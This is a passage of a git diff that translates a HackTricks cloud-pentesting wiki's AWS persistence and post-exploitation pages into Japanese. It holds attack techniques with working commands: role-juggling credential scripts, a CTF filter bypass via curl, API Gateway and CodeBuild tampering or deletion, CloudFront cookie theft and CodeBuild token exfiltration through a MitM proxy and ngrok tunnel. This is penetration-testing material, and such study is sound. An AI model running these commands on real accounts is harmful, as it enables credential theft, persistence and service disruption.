[https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> 新しいメッセージがキューに追加されるたびに、**攻撃者のアカウントでLambdaをトリガーすることもできます**（再度追加する必要があります）。これに関しては、以下の指示に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md index c1b9a422b..3bd0aae28 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md @@ -1,6 +1 @@ # AWS - SSM Perssitence - - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index 4e8c120ff..95a3a977b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -4,22 +4,18 @@ ## Step Functions -For more information check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Step function Backdooring +### ステップ関数のバックドア -Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps. +ステップ関数にバックドアを仕掛けて、実行されるたびに悪意のあるステップを実行するようにします。 -### Backdooring aliases +### バックドアリングエイリアス -If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function. +AWSアカウントがステップ関数を呼び出すためにエイリアスを使用している場合、新しいバックドア付きのステップ関数を使用するようにエイリアスを変更することが可能です。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 74db04bec..92ed47c0c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -4,7 +4,7 @@ ## STS -For more information access: +詳細情報は以下にアクセスしてください： {{#ref}} ../aws-services/aws-sts-enum.md @@ -12,54 +12,51 @@ For more information access: ### Assume role token -Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence. +一時的なトークンはリストできないため、アクティブな一時的トークンを維持することが持続性を維持する方法です。 
aws sts get-session-token --duration-seconds 129600
 
-# With MFA
+# MFAを使用する場合
 aws sts get-session-token \
-    --serial-number <mfa-device-name> \
-    --token-code <code-from-token>
+--serial-number <mfa-device-name> \
+--token-code <code-from-token>
 
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# ハードウェアデバイス名は通常、デバイスの背面にある番号、例えばGAHT12345678です
+# SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/usernameです
+# 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/usernameです
### Role Chain Juggling -[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials. - -You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going: +[**ロールチェイニングは認められたAWSの機能です**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)が、しばしばステルス持続性を維持するために利用されます。これは、**あるロールを引き受け、その後別のロールを引き受ける**能力を含み、**循環的な方法**で最初のロールに戻る可能性があります。ロールが引き受けられるたびに、資格情報の有効期限フィールドが更新されます。したがって、2つのロールが互いに引き受けるように設定されている場合、この設定は資格情報の永続的な更新を可能にします。 +この[**ツール**](https://github.com/hotnops/AWSRoleJuggler/)を使用してロールチェイニングを維持できます： ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] optional arguments: - -h, --help show this help message and exit - -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] +-h, --help show this help message and exit +-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` - > [!CAUTION] -> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured. +> 注意してください、そのGitHubリポジトリの[find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py)スクリプトは、ロールチェーンが構成できるすべての方法を見つけるわけではありません。
-Code to perform Role Juggling from PowerShell - +PowerShellからロールジャグリングを実行するためのコード ```powershell # PowerShell script to check for role juggling possibilities using AWS CLI # Check for AWS CLI installation if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) { - Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." - exit +Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." +exit } # Function to list IAM roles function List-IAMRoles { - aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json +aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json } # Initialize error count @@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json # Attempt to assume each role foreach ($role in $roles) { - $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($credentials) { - Write-Host "Successfully assumed role: $($role.RoleName)" - Write-Host "Access Key: $($credentials.AccessKeyId)" - Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" - Write-Host "Session Token: $($credentials.SessionToken)" - Write-Host "Expiration: $($credentials.Expiration)" +$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($credentials) { +Write-Host "Successfully assumed role: $($role.RoleName)" +Write-Host "Access Key: $($credentials.AccessKeyId)" +Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" +Write-Host "Session Token: $($credentials.SessionToken)" +Write-Host "Expiration: $($credentials.Expiration)" - # Set temporary credentials to assume the next role - $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId - $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey - $env:AWS_SESSION_TOKEN = $credentials.SessionToken +# Set temporary credentials to assume the next role +$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId +$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey +$env:AWS_SESSION_TOKEN = $credentials.SessionToken - # Try to assume another role using the temporary credentials - foreach ($nextRole in $roles) { - if ($nextRole.Arn -ne $role.Arn) { - $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($nextCredentials) { - Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" - Write-Host "Access Key: $($nextCredentials.AccessKeyId)" - Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" - Write-Host "Session Token: $($nextCredentials.SessionToken)" - Write-Host "Expiration: $($nextCredentials.Expiration)" - } - } catch { - $errorCount++ - } - } - } +# Try to assume another role using the temporary credentials +foreach ($nextRole in $roles) { +if ($nextRole.Arn -ne $role.Arn) { +$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($nextCredentials) { +Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" +Write-Host "Access Key: $($nextCredentials.AccessKeyId)" +Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" +Write-Host "Session Token: $($nextCredentials.SessionToken)" +Write-Host "Expiration: $($nextCredentials.Expiration)" +} +} catch { +$errorCount++ +} +} +} - # Reset environment variables - Remove-Item Env:\AWS_ACCESS_KEY_ID - Remove-Item Env:\AWS_SECRET_ACCESS_KEY - Remove-Item Env:\AWS_SESSION_TOKEN - } else { - $errorCount++ - } - } catch { - $errorCount++ - } +# Reset environment variables +Remove-Item Env:\AWS_ACCESS_KEY_ID +Remove-Item Env:\AWS_SECRET_ACCESS_KEY +Remove-Item Env:\AWS_SESSION_TOKEN +} else { +$errorCount++ +} +} catch { +$errorCount++ +} } # Output the number of errors if any if ($errorCount -gt 0) { - Write-Host "$errorCount error(s) occurred during role assumption attempts." +Write-Host "$errorCount error(s) occurred during role assumption attempts." } else { - Write-Host "No errors occurred. All roles checked successfully." +Write-Host "No errors occurred. All roles checked successfully." } Write-Host "Role juggling check complete." ``` -
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md index 53f79d916..2d05f19d4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md @@ -1,6 +1 @@ -# AWS - Post Exploitation - - - - - +# AWS - ポストエクスプロイテーション diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 4847c40e0..e2fe70e0e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -4,48 +4,43 @@ ## API Gateway -For more information check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Access unexposed APIs +### 公開されていないAPIへのアクセス -You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\ -Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before. +[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) でサービス `com.amazonaws.us-east-1.execute-api` を使用してエンドポイントを作成し、アクセス可能なネットワーク（EC2マシン経由の可能性あり）でエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てます。\ +その後、EC2マシンからエンドポイントにアクセスできるようになり、以前は公開されていなかったゲートウェイAPIを呼び出すことができます。 -### Bypass Request body passthrough +### リクエストボディのパススルーをバイパスする -This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). +この技術は[**このCTFの解説**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)で見つかりました。 -As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation. - -Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`: +[AWSのドキュメント](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)の`PassthroughBehavior`セクションに示されているように、デフォルトでは、**`WHEN_NO_MATCH`**の値は、リクエストの**Content-Type**ヘッダーをチェックする際に、リクエストを変換せずにバックエンドに渡します。 +したがって、CTFではAPI Gatewayに統合テンプレートがあり、`Content-Type: application/json`でリクエストが送信されたときに**フラグが応答で流出するのを防いでいました**： ```yaml RequestTemplates: - application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' +application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` +しかし、**`Content-type: text/json`**を使用してリクエストを送信すると、そのフィルターを回避できます。 -However, sending a request with **`Content-type: text/json`** would prevent that filter. - -Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`: - +最後に、API Gatewayが`Get`と`Options`のみを許可していたため、ボディにクエリを含むPOSTリクエストを送信し、ヘッダー`X-HTTP-Method-Override: GET`を使用することで、任意のdynamoDBクエリを制限なしに送信することが可能でした： ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` - ### Usage Plans DoS -In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**. +**列挙**セクションでは、**使用プラン**を**取得する**方法を確認できます。キーを持っていて、それが**月あたりX回の使用に制限されている**場合、**単に使用してDoSを引き起こす**ことができます。 -The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**. +**APIキー**は、**`x-api-key`**という**HTTPヘッダー**に**含める**必要があります。 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +`apigateway:UpdateGatewayResponse`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のGateway Responseを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。 ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**潜在的な影響**: 機密情報の漏洩、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。 > [!NOTE] -> Need testing +> テストが必要 ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**. - +`apigateway:UpdateStage`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のAPI Gatewayステージを変更してトラフィックを別のステージにリダイレクトしたり、キャッシュ設定を変更してキャッシュデータへの不正アクセスを得ることができます**。 ```bash API_ID="your-api-id" STAGE_NAME="Prod" @@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic. +**潜在的な影響**: キャッシュされたデータへの不正アクセス、APIトラフィックの中断または傍受。 > [!NOTE] -> Need testing +> テストが必要 ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +`apigateway:PutMethodResponse` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のAPI Gateway REST APIメソッドのメソッドレスポンスを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。 ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**潜在的な影響**: 機密情報の漏洩、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。 > [!NOTE] -> Need testing +> テストが必要 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**. - +`apigateway:UpdateRestApi`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**API Gateway REST APIの設定を変更してログを無効にしたり、最小TLSバージョンを変更したりすることができ、APIのセキュリティを弱める可能性があります**。 ```bash API_ID="your-api-id" @@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information. +**潜在的な影響**: APIのセキュリティが弱まり、未承認のアクセスを許可したり、機密情報を露出させる可能性があります。 > [!NOTE] -> Need testing +> テストが必要です ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**. - +`apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および `apigateway:CreateUsagePlanKey` の権限を持つ攻撃者は、**新しいAPIキーを作成し、それらを使用プランに関連付け、これらのキーを使用してAPIへの未承認のアクセスを行うことができます**。 ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') @@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp # Associate the API key with the usage plan aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY ``` - -**Potential Impact**: Unauthorized access to API resources, bypassing security controls. +**潜在的な影響**: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。 > [!NOTE] -> Need testing +> テストが必要です {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 4a3c4ff21..765b39731 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -1,35 +1,31 @@ -# AWS - CloudFront Post Exploitation +# AWS - CloudFront ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## CloudFront -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-cloudfront-enum.md {{#endref}} -### Man-in-the-Middle +### 中間者攻撃 -This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script). +この[**ブログ記事**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda**を追加（または既に使用されている場合は修正）して、**CloudFrontを通じた通信**でユーザー情報（セッション**クッキー**など）を**盗む**ことや、**レスポンス**を**変更する**（悪意のあるJSスクリプトを注入する）いくつかの異なるシナリオが提案されています。 -#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket +#### シナリオ 1: CloudFrontがバケットのHTMLにアクセスするように設定されているMitM -- **Create** the malicious **function**. -- **Associate** it with the CloudFront distribution. -- Set the **event type to "Viewer Response"**. +- **悪意のある** **関数**を**作成**します。 +- CloudFrontディストリビューションに**関連付け**ます。 +- **イベントタイプを「Viewer Response」に設定**します。 -Accessing the response you could steal the users cookie and inject a malicious JS. +レスポンスにアクセスすることで、ユーザーのクッキーを盗み、悪意のあるJSを注入できます。 -#### scenario 2: MitM where CloudFront is already using a lambda function +#### シナリオ 2: CloudFrontが既にlambda関数を使用しているMitM -- **Modify the code** of the lambda function to steal sensitive information +- 機密情報を盗むためにlambda関数の**コードを修正**します。 -You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +このシナリオを再現するための[**tfコードはこちらで確認できます**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 54be4e299..d9c87d340 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -4,85 +4,73 @@ ## CodeBuild -For more information, check: +詳細については、次を確認してください： {{#ref}} ../../aws-services/aws-codebuild-enum.md {{#endref}} -### Check Secrets +### シークレットの確認 -If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\ -Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform. +Github、Gitlab、またはBitbucketに接続するためにCodebuildに設定された資格情報が、個人トークン、パスワード、またはOAuthトークンアクセスの形式である場合、これらの**資格情報はシークレットマネージャーにシークレットとして保存されます**。\ +したがって、シークレットマネージャーを読み取るアクセス権があれば、これらのシークレットを取得し、接続されたプラットフォームにピボットすることができます。 {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Abuse CodeBuild Repo Access +### CodeBuildリポジトリアクセスの悪用 -In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code: +**CodeBuild**を構成するには、使用するコードリポジトリへの**アクセスが必要です**。このコードをホストしているプラットフォームはいくつかあります：
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**. +**CodeBuildプロジェクトは、設定されたソースプロバイダーへのアクセスを持っている必要があります**。これは**IAMロール**またはgithub/bitbucketの**トークンまたはOAuthアクセス**を介して行われます。 -An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\ -In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you): +**CodeBuildで権限が昇格した攻撃者**は、この設定されたアクセスを悪用して、設定されたリポジトリのコードや、設定された資格情報がアクセスできる他のリポジトリを漏洩させることができます。\ +これを行うには、攻撃者は単に**設定された資格情報がアクセスできる各リポジトリのリポジトリURLを変更する必要があります**（awsのウェブサイトがすべてをリストアップします）：
-And **change the Buildspec commands to exfiltrate each repo**. +そして、**各リポジトリを外部流出させるためにBuildspecコマンドを変更します**。 > [!WARNING] -> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\ -> Or does he? Check the next section +> ただし、この**作業は繰り返しで面倒です**。もしgithubトークンが**書き込み権限**で設定されていた場合、攻撃者は**その権限を（悪）用することができません**。なぜなら、トークンへのアクセス権がないからです。\ +> それとも、あるのでしょうか？次のセクションを確認してください。 -### Leaking Access Tokens from AWS CodeBuild - -You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with: +### AWS CodeBuildからのアクセス・トークンの漏洩 +CodeBuildでGithubのようなプラットフォームに与えられたアクセスを漏洩させることができます。外部プラットフォームへのアクセスが与えられたかどうかを確認してください： ```bash aws codebuild list-source-credentials ``` - {{#ref}} aws-codebuild-token-leakage.md {{#endref}} ### `codebuild:DeleteProject` -An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project. - +攻撃者は、CodeBuildプロジェクト全体を削除することができ、プロジェクトの設定が失われ、プロジェクトに依存するアプリケーションに影響を与える可能性があります。 ```bash aws codebuild delete-project --name ``` - -**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project. +**潜在的な影響**: 削除されたプロジェクトを使用しているアプリケーションのプロジェクト構成の喪失とサービスの中断。 ### `codebuild:TagResource` , `codebuild:UntagResource` -An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +攻撃者はCodeBuildリソースからタグを追加、変更、または削除することができ、タグに基づく組織のコスト配分、リソース追跡、およびアクセス制御ポリシーを混乱させる可能性があります。 ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**潜在的な影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。 ### `codebuild:DeleteSourceCredentials` -An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository. - +攻撃者はGitリポジトリのソース認証情報を削除することができ、リポジトリに依存するアプリケーションの正常な機能に影響を与える可能性があります。 ```sql aws codebuild delete-source-credentials --arn ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials. +**潜在的な影響**: ソース認証情報の削除により、影響を受けたリポジトリに依存するアプリケーションの正常な機能が妨げられる。 {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index c514d7a7c..ab0a44ebb 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,73 +2,68 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Recover Github/Bitbucket Configured Tokens - -First, check if there are any source credentials configured that you could leak: +## Github/Bitbucketに設定されたトークンの回収 +まず、漏洩できるソース認証情報が設定されているか確認してください: ```bash aws codebuild list-source-credentials ``` - ### Via Docker Image -If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project. +もし、例えばGithubへの認証がアカウントに設定されていることがわかった場合、Codebuildに**特定のDockerイメージ**を使用させてプロジェクトのビルドを実行させることで、その**アクセス**（**GHトークンまたはOAuthトークン**）を**抽出**することができます。 -For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**. +この目的のために、**新しいCodebuildプロジェクトを作成**するか、既存のものの**環境**を変更して**Dockerイメージ**を設定することができます。 -The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**. +使用できるDockerイメージは[https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)です。これは、**env変数`https_proxy`**、**`http_proxy`**、および**`SSL_CERT_FILE`**を設定する非常に基本的なDockerイメージです。これにより、**`https_proxy`**および**`http_proxy`**で指定されたホストのほとんどのトラフィックを傍受し、**`SSL_CERT_FILE`**で指定されたSSL CERTを信頼することができます。 -1. **Create & Upload your own Docker MitM image** - - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**. - - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint. - - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host - - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...) -2. 